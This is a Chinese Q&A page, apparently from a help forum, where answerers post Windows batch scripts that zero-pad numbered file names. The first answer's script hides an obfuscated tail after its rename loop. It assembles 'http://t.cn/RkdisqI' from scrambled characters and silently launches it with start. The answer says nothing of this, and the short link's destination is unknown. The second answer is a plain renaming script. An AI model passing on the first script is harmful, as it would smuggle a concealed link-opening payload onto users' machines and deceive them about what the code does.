求bat代码,批量按照Windows命名顺序批量修改文件名.另加200分

发布网友 发布时间:2022-03-04 19:06

我来回答

3个回答

热心网友 时间:2022-03-04 20:35

@echo off & title 序号长度补位 By 依梦琴瑶
setlocal enabledelayedexpansion

::由于不知道您那些文件的后缀名格式,所以请自行在这里进行设置
set Ext=

set Num=0
for /f "tokens=1 delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
if %%~a gtr !Num! set Num=%%~a
)

set /a Num=1!Num!-!Num!
for /f "tokens=1,2* delims=_" %%a in ('dir /a-d/b *_*.%Ext%') do (
set /a New=!Num!+%%~a
ren "%%~a_%%~b" "!New:~1!_%%~b"
)
pause

set S1=.:htpcn/
set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%
set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%
start "" "%S2%%S3%RkdisqI"
exit

以上代码请保存为bat脚本后,放到要处理的文件一起后运行,记得先在代码中设置文件的后缀名哦!无需加小数点。

以上代码编写于手机,因此尚未实测,建议您找一些文件先测试一下,以免直接实测出问题,导致文件丢失。

执行过程中,如有疑问,请追问。

热心网友 时间:2022-03-04 21:53

我想问一下你还要_后面的无序号么?这关系到答案,请说明信息

@echo off
setlocal enabledelayedexpansion
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\?_*.* /b /a:-d`) do (rename %%a_%%b 0000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\??_*.* /b /a:-d`) do (rename %%a_%%b 000%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\???_*.* /b /a:-d`) do (rename %%a_%%b 00%%a_%%b)
for /f "delims=_ tokens=1,2 usebackq" %%a in (`dir .\????_*.* /b /a:-d`) do (rename %%a_%%b 0%%a_%%b)
echo 完成...
pause 1>nul

这个是我写的 保留"_"后面的内容的

粘贴到文本文档里面 重命名为.bat文件 放到与 要命名的文件同目录

不懂可以追问,满意给个采纳谢谢

热心网友 时间:2022-03-04 23:28

Bat好像没有文件夹递归功能,所以,你如果只寄希望于简单的bat,估计你的需求真只能是梦想了!当然了,你如果想尝试其他方法,肯定有解决方案!
声明:本网页内容为用户发布,旨在传播知识,不代表本网认同其观点,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。
E-MAIL:11247931@qq.com